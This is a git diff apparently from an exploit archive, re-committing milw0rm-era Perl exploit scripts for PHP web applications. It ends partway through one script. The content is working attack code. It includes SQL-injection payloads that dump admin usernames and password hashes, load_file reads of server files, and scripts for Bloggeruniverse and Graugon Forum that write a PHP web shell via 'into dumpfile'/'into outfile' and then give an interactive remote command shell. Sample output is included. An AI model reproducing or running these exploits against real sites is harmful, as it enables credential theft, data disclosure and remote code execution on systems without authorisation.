+  if($response->content =~ /<p class="titel">(.*?)<\/p>.*([a-fA-F0-9]{32})<\/div>/s)
+  {
+    print $1.":".$2;
+  }
+}
+
+sub use_suche_bug
+{
+  my $url = $options{"u"}."&action=senden";
+  my $search = "###___###%'))/**/union/**/select/**/1,benutzername,passwort,4/**/from/**/admin/*";
+  my $req = POST $url, [suchbegriff => $search];
+  my $response = $ua->request($req);
+  
+  if($response->content =~ /.*">(.*?)<\/a><br \/>([a-fA-F0-9]{32}) \[/s)
+  {
+    print $1.":".$2;
+  }
+}
+
+sub use_gallery_bug
+{
+  my $url = $options{"u"};
+  my $exploit = "action='%20union%20select%201,2,passwort,4,benutzername,6%20from%20admin/*";
+  $url =~ s/action=\d+/$exploit/i;
+  $response = $ua->get($url);
+  my @content = split(/\n/, $response->content);
+  foreach (@content)
+  {
+    if($_ =~ /\/([a-fA-F0-9]{32})" rel="lytebox\[.*?\]" title="(.*?)"/)
+    {
+      print $2.":".$1."\n";
+    }
+  }
+}
+
+# milw0rm.com [2009-02-09]
diff --git a/platforms/php/webapps/801.c b/platforms/php/webapps/801.c
index 7a4749952..c9cc228b9 100755
--- a/platforms/php/webapps/801.c
+++ b/platforms/php/webapps/801.c
@@ -155,6 +155,6 @@ void errconn(char *argv[]){
 printf("[x] Connecting at victim host	[FAILED]\n\n",argv[1]);
 exit(1);
 
-}
-
-// milw0rm.com [2005-02-09]
+}
+
+// milw0rm.com [2005-02-09]
diff --git a/platforms/php/webapps/8043.pl b/platforms/php/webapps/8043.pl
index ed12fc952..4e54b3dad 100755
--- a/platforms/php/webapps/8043.pl
+++ b/platforms/php/webapps/8043.pl
@@ -1,249 +1,249 @@
-#!/usr/bin/perl
-
-# |----------------------------------------------------------------------------------------------------------------------------------|
-# |                     INFORMATIONS                                                                                                 |
-# |----------------------------------------------------------------------------------------------------------------------------------|
-# |Web Application :  Bloggeruniverse v2Beta                                                                                         |
-# |Download        :  http://garr.dl.sourceforge.net/sourceforge/bloggeruniverse/bloggeruniverse-beta2.zip                           |
-# |----------------------------------------------------------------------------------------------------------------------------------|
-# |Remote Exploit (Admin credentials extract + File Disclosure + Remote Command Execution via Sql Injection)                         |
-# |by Osirys                                                                                                                         |
-# |osirys[at]autistici[dot]org                                                                                                       |
-# |osirys.org                                                                                                                        |
-# |Greets to: evilsocket, Fireshot, Todd and str0ke                                                                                  |
-# |----------------------------------------------------------------------------------------------------------------------------------|
-# |BUG [Sql Injection]
-# |  p0c : /[path]/editcomments.php?id=[sql_string]
-# |  There are other sql injections, find them by yourself ;)
-# |[!] This Blog system doesn't cheek if install.php file still exists after installation ! ;)
-# |SQL Injections used by this sploit :
-# |[1] /path]/editcomments.php?id=-2 union all select 1,2,3,4,5,6,concat(username,0x3a,password),8 from users
-# |[2] /path]/editcomments.php?id=-2 union all select 1,2,3,4,5,6,load_file('lf'),8
-# |[3] /path]/editcomments.php?id=-2 union all select 1,2,3,4,5,6,'content',8 into dumpfile 'path'
-# |----------------------------------------------------------------------------------------------------------------------------------|
-# |This CMS is vulnerable to sql injection. This simple exploit just uses the sql bug to get admin credentials (username,password),
-# |uses load_file() mysql function to disclosure local file on the server, uses the '' into dumpfile '' mysql function to save a
-# |php shell on the website, so it will allows you to execute commands.
-# |The RCE way is more difficult, becouse you need to know the site's path on the server, dumpfile function needs it !
-# |I'm trying to find an universal way to find the cwd of the site in the server from sql injection, still nothing. Would be good a
-# |LFI bug, so then we could write our file into /tmp, and then include it via LFI.
-# |----------------------------------------------------------------------------------------------------------------------------------|
-
-# Pastin' here output of all exploiting way of this sploit will be too long, here the first way :  Admin credentials extract
-# -----------------------------------------------------------------------------------------------------------------------------------|
-# Exploit in action [>!]
-# -----------------------------------------------------------------------------------------------------------------------------------|
-# osirys[~]>$ perl p0w.txt http://localhost/bloggeruniverse-beta2/ admin_hash
-#
-#   --------------------------------------
-#       Bloggeruniverse Remote Exploit
-#              Coded by Osirys
-#   -------------------------------------
-#
-# [*] Extracting admin credentials via Sql Injection ..
-# [*] Username: admin
-# [*] Password: 5f4dcc3b5aa765d61d8327deb882cf99
-#
-# osirys[~]>
-# -----------------------------------------------------------------------------------------------------------------------------------|
-
-use LWP::UserAgent;
-use HTTP::Request::Common;
-
-my $host   = $ARGV[0];
-my $expl   = $ARGV[1];
-my $fpath  = $ARGV[2];
-
-my $sql_inj_path = "/editcomments.php?id=";
-my $gen_sql_inj  = "-2 union all select 1,2,3,4,5,6,";
-my $php_c0de     = "<?php echo \"st4rt\";if(get_magic_quotes_gpc()){ \$_GET[".
-                   "cmd]=stripslashes(\$_GET[cmd]);} system(\$_GET[cmd]);?>";
-
-$fpath = "/x" if ($expl =~ /file_disc/);
-$fpath = "/x" if ($expl =~ /admin_hash/);
-($host,$expl,$fpath) || help("-1");
-cheek($host,$expl,$fpath) == 1 || help("-2");
-&banner;
-
-$datas = get_input($host);
-$datas =~ /(.*) (.*)/;
-($h0st,$path) = ($1,$2);
-
-&adm_hash if $expl_way == 1;
-&file_discl if $expl_way == 2;
-&cmd if $expl_way == 3;
-
-sub adm_hash {
-    print "[*] Extracting admin credentials via Sql Injection ..\n";
-    my $sql_inj = $sql_inj_path.$gen_sql_inj."concat(username,0x3a,password),8 from users";
-    my $attack  = $host.$sql_inj;
-    my $re = get_req($attack);
-    my $content = tag($re);
-    if ($content =~ /name="comment">([a-zA-Z0-9-_.]{2,15}):([a-f0-9]{32})<\/textarea>/) {
-        print "[*] Username: $1\n";
-        print "[*] Password: $2\n\n";
-        exit(0);
-    }
-    else {
-        print "[-] Can't extract admin credentials\n[-] Exploit Failed !\n\n";
-        exit(0);
-    }
-}
-
-sub file_discl {
-    print "[*] cat ";
-    my $file = <STDIN>;
-    chomp($file);
-    $file !~ /exit/ || die "[-] Quitting ..\n";
-    if ($file !~ /\/(.*)/) {
-        print "\n[-] Bad filename !\n";
-        &file_discl;
-    }
-    my $sql_inj = $sql_inj_path.$gen_sql_inj."load_file(\"".$file."\"),8";
-    my $attack  = $host.$sql_inj;
-    my $re = get_req($attack);
-    my $content = tag($re);
-    if ($content =~ /name="comment">(.+)<\/textarea>\*\*\*\*\*\*<\/td>/) {
-        my $out = $1;
-        $out =~ s/\$/ /g;
-        $out =~ s/\*/\n/g;
-        $out =~ s/$out/$out\n/ if ($out !~ /\n$/);
-        print "$out\n";
-        &file_discl;
-    }
-    elsif ($content =~ /name="comment"><\/textarea>\*\*\*\*\*\*<\/td>/) {
-        $c++;
-        print "[-] Can't find ".$file." \n";
-        $c < 3 || die "[-] File Disclosure failed !\n[-] Something wrong. Exploit Failed !\n\n";
-        &file_discl;
-    }
-}
-
-sub cmd {
-    print "[*] Injectin php shell via Sql Injection\n";
-    my $sql_inj = $sql_inj_path.$gen_sql_inj."'".$php_c0de."',8 into dumpfile '".$fpath."/shell.php'";
-    my $attack  = $host.$sql_inj;
-    get_req($attack);
-    my $test = get_req($host."shell.php");
-    if ($test =~ /st4rt/) {
-        print "[*] Shell succesfully injected !\n";
-        print "[&] Hi my master, do your job now [!]\n\n";
-        $exec_path = $host."/shell.php";
-        &exec_cmd;
-    }
-    else {
-        print "[-] Shell not found \n[-] Exploit failed\n\n";
-        exit(0);
-    }
-}
-
-sub exec_cmd() {
-    $h0st !~ /www\./ || $h0st =~ s/www\.//;
-    print "shell[$h0st]\$> ";
-    my $cmd = <STDIN>;
-    $cmd !~ /exit/ || die "[-] Quitting ..\n";
-    my $exec_url = $exec_path."?cmd=".$cmd;
-    my $re = get_req($exec_url);
-    my $content = tag($re);
-    if ($content =~ /st4rt(.+)8/) {
-        my $out = $1;
-        $out =~ s/\$/ /g;
-        $out =~ s/\*/\n/g;
-        $out =~ s/8//g;
-        chomp($out);
-        print "$out\n";
-        &exec_cmd;
-    }
-    else {
-        $c++;
-        $cmd =~ s/\n//;
-        print "bash: ".$cmd.": command not found\n";
-        $c < 3 || die "[-] Command are not executed.\n[-] Something wrong. Exploit Failed !\n\n";
-        &exec_cmd;
-    }
-
-}
-
-sub get_req() {
-    $link = $_[0];
-    my $req = HTTP::Request->new(GET => $link);
-    my $ua = LWP::UserAgent->new();
-    $ua->timeout(4);
-    my $response = $ua->request($req);
-    return $response->content;
-}
-
-sub get_input() {
-    my $host = $_[0];
-    $host =~ /http:\/\/(.*)/;
-    $s_host = $1;
-    $s_host =~ /([a-z.-]{1,30})\/(.*)/;
-    ($h0st,$path) = ($1,$2);
-    $path =~ s/(.*)/\/$1/;
-    $full_det = $h0st." ".$path;
-    return $full_det;
-}
-
-sub tag() {
-    my $string = $_[0];
-    $string =~ s/ /\$/g;
-    $string =~ s/\s/\*/g;
-    return($string);
-}
-
-sub cheek() {
-    my $host  = $_[0];
-    my $expl  = $_[1];
-    my $fpath = $_[2];
-    if ($host =~ /http:\/\/(.*)/) {
-        $ch_host = 1;
-    }
-    if ($expl =~ /admin_hash/) {
-        $ch_expl = 1;
-        $ch_fpath = 1;
-        $expl_way = 1;
-    }
-    elsif ($expl =~ /file_disc/) {
-        $ch_expl = 1;
-        $ch_fpath = 1;
-        $expl_way = 2;
-    }
-    elsif ($expl =~ /cmd/) {
-        $ch_expl = 1;
-        $expl_way = 3;
-    }
-    if ($fpath =~ /\/(.*)/) {
-        $ch_fpath = 1;
-    }
-    return 1 if ((($ch_host)&&($ch_expl)&&($ch_fpath)) == 1);
-    &help("-2");
-}
-
-sub banner {
-    print "\n".
-          "  --------------------------------------\n".
-          "      Bloggeruniverse Remote Exploit    \n".
-          "             Coded by Osirys            \n".
-          "  ------------------------------------- \n\n";
-}
-
-sub help() {
-    my $error = $_[0];
-    if ($error == -1) {
-        &banner;
-        print "\n[-] Input Error, missed some arguments !\n\n";
-    }
-    elsif ($error == -2) {
-        &banner;
-        print "\n[-] Bad arguments !\n\n";
-    }
-    print "[*] Usage : perl $0 http://hostname/cms_path admin_hash\n";
-    print "    Ex:     perl $0 http://site.it/cms/      admin_hash\n";
-    print "[*] Usage : perl $0 http://hostname/cms_path file_disc\n";
-    print "    Ex:     perl $0 http://site.it/cms/      file_disc\n";
-    print "[*] Usage : perl $0 http://hostname/cms_path cmd path_of_site\n";
-    print "    Ex:     perl $0 http://site.it/cms/      cmd /home/osirys/web/cms/\n\n";
-    exit(0);
-}
-
-# milw0rm.com [2009-02-11]
+#!/usr/bin/perl
+
+# |----------------------------------------------------------------------------------------------------------------------------------|
+# |                     INFORMATIONS                                                                                                 |
+# |----------------------------------------------------------------------------------------------------------------------------------|
+# |Web Application :  Bloggeruniverse v2Beta                                                                                         |
+# |Download        :  http://garr.dl.sourceforge.net/sourceforge/bloggeruniverse/bloggeruniverse-beta2.zip                           |
+# |----------------------------------------------------------------------------------------------------------------------------------|
+# |Remote Exploit (Admin credentials extract + File Disclosure + Remote Command Execution via Sql Injection)                         |
+# |by Osirys                                                                                                                         |
+# |osirys[at]autistici[dot]org                                                                                                       |
+# |osirys.org                                                                                                                        |
+# |Greets to: evilsocket, Fireshot, Todd and str0ke                                                                                  |
+# |----------------------------------------------------------------------------------------------------------------------------------|
+# |BUG [Sql Injection]
+# |  p0c : /[path]/editcomments.php?id=[sql_string]
+# |  There are other sql injections, find them by yourself ;)
+# |[!] This Blog system doesn't cheek if install.php file still exists after installation ! ;)
+# |SQL Injections used by this sploit :
+# |[1] /path]/editcomments.php?id=-2 union all select 1,2,3,4,5,6,concat(username,0x3a,password),8 from users
+# |[2] /path]/editcomments.php?id=-2 union all select 1,2,3,4,5,6,load_file('lf'),8
+# |[3] /path]/editcomments.php?id=-2 union all select 1,2,3,4,5,6,'content',8 into dumpfile 'path'
+# |----------------------------------------------------------------------------------------------------------------------------------|
+# |This CMS is vulnerable to sql injection. This simple exploit just uses the sql bug to get admin credentials (username,password),
+# |uses load_file() mysql function to disclosure local file on the server, uses the '' into dumpfile '' mysql function to save a
+# |php shell on the website, so it will allows you to execute commands.
+# |The RCE way is more difficult, becouse you need to know the site's path on the server, dumpfile function needs it !
+# |I'm trying to find an universal way to find the cwd of the site in the server from sql injection, still nothing. Would be good a
+# |LFI bug, so then we could write our file into /tmp, and then include it via LFI.
+# |----------------------------------------------------------------------------------------------------------------------------------|
+
+# Pastin' here output of all exploiting way of this sploit will be too long, here the first way :  Admin credentials extract
+# -----------------------------------------------------------------------------------------------------------------------------------|
+# Exploit in action [>!]
+# -----------------------------------------------------------------------------------------------------------------------------------|
+# osirys[~]>$ perl p0w.txt http://localhost/bloggeruniverse-beta2/ admin_hash
+#
+#   --------------------------------------
+#       Bloggeruniverse Remote Exploit
+#              Coded by Osirys
+#   -------------------------------------
+#
+# [*] Extracting admin credentials via Sql Injection ..
+# [*] Username: admin
+# [*] Password: 5f4dcc3b5aa765d61d8327deb882cf99
+#
+# osirys[~]>
+# -----------------------------------------------------------------------------------------------------------------------------------|
+
+use LWP::UserAgent;
+use HTTP::Request::Common;
+
+my $host   = $ARGV[0];
+my $expl   = $ARGV[1];
+my $fpath  = $ARGV[2];
+
+my $sql_inj_path = "/editcomments.php?id=";
+my $gen_sql_inj  = "-2 union all select 1,2,3,4,5,6,";
+my $php_c0de     = "<?php echo \"st4rt\";if(get_magic_quotes_gpc()){ \$_GET[".
+                   "cmd]=stripslashes(\$_GET[cmd]);} system(\$_GET[cmd]);?>";
+
+$fpath = "/x" if ($expl =~ /file_disc/);
+$fpath = "/x" if ($expl =~ /admin_hash/);
+($host,$expl,$fpath) || help("-1");
+cheek($host,$expl,$fpath) == 1 || help("-2");
+&banner;
+
+$datas = get_input($host);
+$datas =~ /(.*) (.*)/;
+($h0st,$path) = ($1,$2);
+
+&adm_hash if $expl_way == 1;
+&file_discl if $expl_way == 2;
+&cmd if $expl_way == 3;
+
+sub adm_hash {
+    print "[*] Extracting admin credentials via Sql Injection ..\n";
+    my $sql_inj = $sql_inj_path.$gen_sql_inj."concat(username,0x3a,password),8 from users";
+    my $attack  = $host.$sql_inj;
+    my $re = get_req($attack);
+    my $content = tag($re);
+    if ($content =~ /name="comment">([a-zA-Z0-9-_.]{2,15}):([a-f0-9]{32})<\/textarea>/) {
+        print "[*] Username: $1\n";
+        print "[*] Password: $2\n\n";
+        exit(0);
+    }
+    else {
+        print "[-] Can't extract admin credentials\n[-] Exploit Failed !\n\n";
+        exit(0);
+    }
+}
+
+sub file_discl {
+    print "[*] cat ";
+    my $file = <STDIN>;
+    chomp($file);
+    $file !~ /exit/ || die "[-] Quitting ..\n";
+    if ($file !~ /\/(.*)/) {
+        print "\n[-] Bad filename !\n";
+        &file_discl;
+    }
+    my $sql_inj = $sql_inj_path.$gen_sql_inj."load_file(\"".$file."\"),8";
+    my $attack  = $host.$sql_inj;
+    my $re = get_req($attack);
+    my $content = tag($re);
+    if ($content =~ /name="comment">(.+)<\/textarea>\*\*\*\*\*\*<\/td>/) {
+        my $out = $1;
+        $out =~ s/\$/ /g;
+        $out =~ s/\*/\n/g;
+        $out =~ s/$out/$out\n/ if ($out !~ /\n$/);
+        print "$out\n";
+        &file_discl;
+    }
+    elsif ($content =~ /name="comment"><\/textarea>\*\*\*\*\*\*<\/td>/) {
+        $c++;
+        print "[-] Can't find ".$file." \n";
+        $c < 3 || die "[-] File Disclosure failed !\n[-] Something wrong. Exploit Failed !\n\n";
+        &file_discl;
+    }
+}
+
+sub cmd {
+    print "[*] Injectin php shell via Sql Injection\n";
+    my $sql_inj = $sql_inj_path.$gen_sql_inj."'".$php_c0de."',8 into dumpfile '".$fpath."/shell.php'";
+    my $attack  = $host.$sql_inj;
+    get_req($attack);
+    my $test = get_req($host."shell.php");
+    if ($test =~ /st4rt/) {
+        print "[*] Shell succesfully injected !\n";
+        print "[&] Hi my master, do your job now [!]\n\n";
+        $exec_path = $host."/shell.php";
+        &exec_cmd;
+    }
+    else {
+        print "[-] Shell not found \n[-] Exploit failed\n\n";
+        exit(0);
+    }
+}
+
+sub exec_cmd() {
+    $h0st !~ /www\./ || $h0st =~ s/www\.//;
+    print "shell[$h0st]\$> ";
+    my $cmd = <STDIN>;
+    $cmd !~ /exit/ || die "[-] Quitting ..\n";
+    my $exec_url = $exec_path."?cmd=".$cmd;
+    my $re = get_req($exec_url);
+    my $content = tag($re);
+    if ($content =~ /st4rt(.+)8/) {
+        my $out = $1;
+        $out =~ s/\$/ /g;
+        $out =~ s/\*/\n/g;
+        $out =~ s/8//g;
+        chomp($out);
+        print "$out\n";
+        &exec_cmd;
+    }
+    else {
+        $c++;
+        $cmd =~ s/\n//;
+        print "bash: ".$cmd.": command not found\n";
+        $c < 3 || die "[-] Command are not executed.\n[-] Something wrong. Exploit Failed !\n\n";
+        &exec_cmd;
+    }
+
+}
+
+sub get_req() {
+    $link = $_[0];
+    my $req = HTTP::Request->new(GET => $link);
+    my $ua = LWP::UserAgent->new();
+    $ua->timeout(4);
+    my $response = $ua->request($req);
+    return $response->content;
+}
+
+sub get_input() {
+    my $host = $_[0];
+    $host =~ /http:\/\/(.*)/;
+    $s_host = $1;
+    $s_host =~ /([a-z.-]{1,30})\/(.*)/;
+    ($h0st,$path) = ($1,$2);
+    $path =~ s/(.*)/\/$1/;
+    $full_det = $h0st." ".$path;
+    return $full_det;
+}
+
+sub tag() {
+    my $string = $_[0];
+    $string =~ s/ /\$/g;
+    $string =~ s/\s/\*/g;
+    return($string);
+}
+
+sub cheek() {
+    my $host  = $_[0];
+    my $expl  = $_[1];
+    my $fpath = $_[2];
+    if ($host =~ /http:\/\/(.*)/) {
+        $ch_host = 1;
+    }
+    if ($expl =~ /admin_hash/) {
+        $ch_expl = 1;
+        $ch_fpath = 1;
+        $expl_way = 1;
+    }
+    elsif ($expl =~ /file_disc/) {
+        $ch_expl = 1;
+        $ch_fpath = 1;
+        $expl_way = 2;
+    }
+    elsif ($expl =~ /cmd/) {
+        $ch_expl = 1;
+        $expl_way = 3;
+    }
+    if ($fpath =~ /\/(.*)/) {
+        $ch_fpath = 1;
+    }
+    return 1 if ((($ch_host)&&($ch_expl)&&($ch_fpath)) == 1);
+    &help("-2");
+}
+
+sub banner {
+    print "\n".
+          "  --------------------------------------\n".
+          "      Bloggeruniverse Remote Exploit    \n".
+          "             Coded by Osirys            \n".
+          "  ------------------------------------- \n\n";
+}
+
+sub help() {
+    my $error = $_[0];
+    if ($error == -1) {
+        &banner;
+        print "\n[-] Input Error, missed some arguments !\n\n";
+    }
+    elsif ($error == -2) {
+        &banner;
+        print "\n[-] Bad arguments !\n\n";
+    }
+    print "[*] Usage : perl $0 http://hostname/cms_path admin_hash\n";
+    print "    Ex:     perl $0 http://site.it/cms/      admin_hash\n";
+    print "[*] Usage : perl $0 http://hostname/cms_path file_disc\n";
+    print "    Ex:     perl $0 http://site.it/cms/      file_disc\n";
+    print "[*] Usage : perl $0 http://hostname/cms_path cmd path_of_site\n";
+    print "    Ex:     perl $0 http://site.it/cms/      cmd /home/osirys/web/cms/\n\n";
+    exit(0);
+}
+
+# milw0rm.com [2009-02-11]
diff --git a/platforms/php/webapps/8089.pl b/platforms/php/webapps/8089.pl
index 9388afe0a..69065c9aa 100755
--- a/platforms/php/webapps/8089.pl
+++ b/platforms/php/webapps/8089.pl
@@ -1,228 +1,228 @@
-#!/usr/bin/perl
-
-# |--------------------------------------------------------------------------------------------------------------------------------------------|
-# |                     INFORMATIONS                                                                                                           |
-# |--------------------------------------------------------------------------------------------------------------------------------------------|
-# |Web Application :   Graugon Forum v1                                                                                                        |
-# |Download        :   http://www.graugon.com/forum/forum.zip                                                                                  |
-# |--------------------------------------------------------------------------------------------------------------------------------------------|
-# |Remote SQL Command Injection Exploit                                                                                                        |
-# |by Osirys                                                                                                                                   |
-# |osirys[at]autistici[dot]org                                                                                                                 |
-# |osirys.org                                                                                                                                  |
-# |Greets to: evilsocket, Fireshot, Todd and str0ke                                                                                            |
-# |Thank you: milw0rm.com / packetstormsecurity.org / evilsocket.net                                                                           |
-# |--------------------------------------------------------------------------------------------------------------------------------------------|
-# |BUG [Sql Injection]
-# |  p0c : /[path]/view_profile.php?id=[sql_string]
-# |SQL Injections used by this sploit :
-# |[1] /path]/view_profile.php?id=osirys' union all select concat(details),0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,19 from admins_lf2713 order by '*
-# |[2] /path]/view_profile.php?id=osirys' union all select load_file('file'),0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,19 order by '*
-# |[3] /path]/view_profile.php?id=osirys' union all select 'rce',0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,19 into outfile 'file
-# |--------------------------------------------------------------------------------------------------------------------------------------------|
-
-#----------------------------------------------------------------------------------------------------------------------------------------------|
-# Exploit in action [>!]
-#----------------------------------------------------------------------------------------------------------------------------------------------|
-# osirys[~]>$ perl graugon_forum.txt http://localhost/forum/
-#
-#   ---------------------------
-#          Graugon Forum
-#       Command Inj Exploit
-#           by Osirys
-#   ---------------------------
-#
-# [*] Getting admin login details ..
-# [$] User: admin
-# [$] Pass: password
-# [*] Generating error through GET request ..
-# [*] Cheeking Apache Error Log path ..
-# [*] Error Log path found -> /var/log/httpd/error_log
-# [*] Website path found -> /home/osirys/web/forum/
-# [*] Shell succesfully injected !
-# [&] Hi my master, do your job now [!]
-#
-# shell[localhost]$> id
-# uid=80(apache) gid=80(apache) groups=80(apache)
-# shell[localhost]$> pwd
-# /home/osirys/web/forum
-# shell[localhost]$> exit
-# [-] Quitting ..
-# osirys[~]>$
-#----------------------------------------------------------------------------------------------------------------------------------------------|
-
-use IO::Socket;
-use LWP::UserAgent;
-
-my $host = $ARGV[0];
-my $rand = int(rand 9) +1;
-
-my @error_logs  =  qw(
-                      /var/log/httpd/error.log
-                      /var/log/httpd/error_log
-                      /var/log/apache/error.log
-                      /var/log/apache/error_log
-                      /var/log/apache2/error.log
-                      /var/log/apache2/error_log
-                      /logs/error.log
-                      /var/log/apache/error_log
-                      /var/log/apache/error.log
-                      /usr/local/apache/logs/error_log
-                      /etc/httpd/logs/error_log
-                      /etc/httpd/logs/error.log
-                      /var/www/logs/error_log
-                      /var/www/logs/error.log
-                      /usr/local/apache/logs/error.log
-                      /var/log/error_log
-                      /apache/logs/error.log
-                    );
-
-my $php_c0de   =  "<?php echo \"st4rt\";if(get_magic_quotes_gpc()){ \$_GET".
-                  "[cmd]=stripslashes(\$_GET[cmd]);}system(\$_GET[cmd]);?>";
-
-($host) || help("-1");
-cheek($host) == 1 || help("-2");
-&banner;
-
-$datas = get_input($host);
-$datas =~ /(.*) (.*)/;
-($h0st,$path) = ($1,$2);
-
-print "[*] Getting admin login details ..\n";
-
-my $url = $host."/view_profile.php?id=osirys' union all select concat(0x64657461696C73,username,0x3a,password,0x64657461696C73),0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,19 from admins_lf2713 order by '*";
-my $re = get_req($url);
-if ($re =~ /details(.+):(.+)details/) {
-    $user = $1;
-    $pass = $2;
-    print "[\$] User: $user\n";
-    print "[\$] Pass: $pass\n";
-}
-else {
-    print "[-] Can't extract admin details\n\n";
-}
-
-print "[*] Generating error through GET request ..\n";
-
-get_req($host."/osirys_log_test".$rand);
-
-print "[*] Cheeking Apache Error Log path ..\n";
-
-while (($log = <@error_logs>)&&($gotcha != 1)) {
-    $tmp_path = $host."/view_profile.php?id=osirys' union all select load_file('".$log."'),0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,19 order by '*";
-    $re = get_req($tmp_path);
-    if ($re =~ /File does not exist: (.+)\/osirys_log_test$rand/) {
-        $site_path = $1."/";
-        $gotcha = 1;
-        print "[*] Error Log path found -> $log\n";
-        print "[*] Website path found -> $site_path\n";
-        &inj_shell;
-    }
-}
-
-$gotcha == 1 || die "[-] Couldn't file error_log !\n";
-
-sub inj_shell {
-    my $attack  = $host."/view_profile.php?id=osirys' union all select 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,'".$php_c0de."',19 into outfile '".$site_path."/1337.php";
-    get_req($attack);
-    my $test = get_req($host."/1337.php");
-    if ($test =~ /st4rt/) {
-        print "[*] Shell succesfully injected !\n";
-        print "[&] Hi my master, do your job now [!]\n\n";
-        $exec_path = $host."/shell.php";
-        &exec_cmd;
-
-    }
-    else {
-        print "[-] Shell not found \n[-] Exploit failed\n\n";
-        exit(0);
-    }
-}
-
-sub exec_cmd {
-    $h0st !~ /www\./ || $h0st =~ s/www\.//;
-    print "shell[$h0st]\$> ";
-    $cmd = <STDIN>;
-    $cmd !~ /exit/ || die "[-] Quitting ..\n";
-    $exec_url = $host."/1337.php?cmd=".$cmd;
-    my $re = get_req($exec_url);
-    my $content = tag($re);
-    if ($content =~ /st4rt(.+)\*\*19/) {
-        my $out = $1;
-        $out =~ s/\$/ /g;
-        $out =~ s/\*/\n/g;
-        chomp($out);
-        print "$out\n";
-        &exec_cmd;
-    }
-    else {
-        $c++;
-        $cmd =~ s/\n//;
-        print "bash: ".$cmd.": command not found\n";
-        $c < 3 || die "[-] Command are not executed.\n[-] Something wrong. Exploit Failed !\n\n";
-        &exec_cmd;
-    }
-
-}
-
-sub get_req() {
-    $link = $_[0];
-    my $req = HTTP::Request->new(GET => $link);
-    my $ua = LWP::UserAgent->new();
-    $ua->timeout(4);
-    my $response = $ua->request($req);
-    return $response->content;
-}
-
-sub cheek() {
-    my $host = $_[0];
-    if ($host =~ /http:\/\/(.*)/) {
-        return 1;
-    }
-    else {
-        return 0;
-    }
-}
-
-sub get_input() {
-    my $host = $_[0];
-    $host =~ /http:\/\/(.*)/;
-    $s_host = $1;
-    $s_host =~ /([a-z.-]{1,30})\/(.*)/;
-    ($h0st,$path) = ($1,$2);
-    $path =~ s/(.*)/\/$1/;
-    $full_det = $h0st." ".$path;
-    return $full_det;
-}
-
-sub tag() {
-    my $string = $_[0];
-    $string =~ s/ /\$/g;
-    $string =~ s/\s/\*/g;
-    return($string);
-}
-
-sub banner {
-    print "\n".
-          "  ---------------------------\n".
-          "         Graugon Forum       \n".
-          "      Command Inj Exploit    \n".
-          "          by Osirys          \n".
-          "  ---------------------------\n\n";
-}
-
-sub help() {
-    my $error = $_[0];
-    if ($error == -1) {
-        &banner;
-        print "\n[-] Input data failed ! \n";
-    }
-    elsif ($error == -2) {
-        &banner;
-        print "\n[-] Bad hostname address !\n";
-    }
-    print "[*] Usage : perl $0 http://hostname/cms_path\n\n";
-    exit(0);
-}
-
-# milw0rm.com [2009-02-20]
+#!/usr/bin/perl
+
+# |--------------------------------------------------------------------------------------------------------------------------------------------|
+# |                     INFORMATIONS                                                                                                           |
+# |--------------------------------------------------------------------------------------------------------------------------------------------|
+# |Web Application :   Graugon Forum v1                                                                                                        |
+# |Download        :   http://www.graugon.com/forum/forum.zip                                                                                  |
+# |--------------------------------------------------------------------------------------------------------------------------------------------|
+# |Remote SQL Command Injection Exploit                                                                                                        |
+# |by Osirys                                                                                                                                   |
+# |osirys[at]autistici[dot]org                                                                                                                 |
+# |osirys.org                                                                                                                                  |
+# |Greets to: evilsocket, Fireshot, Todd and str0ke                                                                                            |
+# |Thank you: milw0rm.com / packetstormsecurity.org / evilsocket.net                                                                           |
+# |--------------------------------------------------------------------------------------------------------------------------------------------|
+# |BUG [Sql Injection]
+# |  p0c : /[path]/view_profile.php?id=[sql_string]
+# |SQL Injections used by this sploit :
+# |[1] /path]/view_profile.php?id=osirys' union all select concat(details),0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,19 from admins_lf2713 order by '*
+# |[2] /path]/view_profile.php?id=osirys' union all select load_file('file'),0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,19 order by '*
+# |[3] /path]/view_profile.php?id=osirys' union all select 'rce',0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,19 into outfile 'file
+# |--------------------------------------------------------------------------------------------------------------------------------------------|
+
+#----------------------------------------------------------------------------------------------------------------------------------------------|
+# Exploit in action [>!]
+#----------------------------------------------------------------------------------------------------------------------------------------------|
+# osirys[~]>$ perl graugon_forum.txt http://localhost/forum/
+#
+#   ---------------------------
+#          Graugon Forum
+#       Command Inj Exploit
+#           by Osirys
+#   ---------------------------
+#
+# [*] Getting admin login details ..
+# [$] User: admin
+# [$] Pass: password
+# [*] Generating error through GET request ..
+# [*] Cheeking Apache Error Log path ..
+# [*] Error Log path found -> /var/log/httpd/error_log
+# [*] Website path found -> /home/osirys/web/forum/
+# [*] Shell succesfully injected !
+# [&] Hi my master, do your job now [!]
+#
+# shell[localhost]$> id
+# uid=80(apache) gid=80(apache) groups=80(apache)
+# shell[localhost]$> pwd
+# /home/osirys/web/forum
+# shell[localhost]$> exit
+# [-] Quitting ..
+# osirys[~]>$
+#----------------------------------------------------------------------------------------------------------------------------------------------|
+
+use IO::Socket;
+use LWP::UserAgent;
+
+my $host = $ARGV[0];
+my $rand = int(rand 9) +1;
+
+my @error_logs  =  qw(
+                      /var/log/httpd/error.log
+                      /var/log/httpd/error_log
+                      /var/log/apache/error.log
+                      /var/log/apache/error_log
+                      /var/log/apache2/error.log
+                      /var/log/apache2/error_log
+                      /logs/error.log
+                      /var/log/apache/error_log
+                      /var/log/apache/error.log
+                      /usr/local/apache/logs/error_log
+                      /etc/httpd/logs/error_log
+                      /etc/httpd/logs/error.log
+                      /var/www/logs/error_log
+                      /var/www/logs/error.log
+                      /usr/local/apache/logs/error.log
+                      /var/log/error_log
+                      /apache/logs/error.log
+                    );
+
+my $php_c0de   =  "<?php echo \"st4rt\";if(get_magic_quotes_gpc()){ \$_GET".
+                  "[cmd]=stripslashes(\$_GET[cmd]);}system(\$_GET[cmd]);?>";
+
+($host) || help("-1");
+cheek($host) == 1 || help("-2");
+&banner;
+
+$datas = get_input($host);
+$datas =~ /(.*) (.*)/;
+($h0st,$path) = ($1,$2);
+
+print "[*] Getting admin login details ..\n";
+
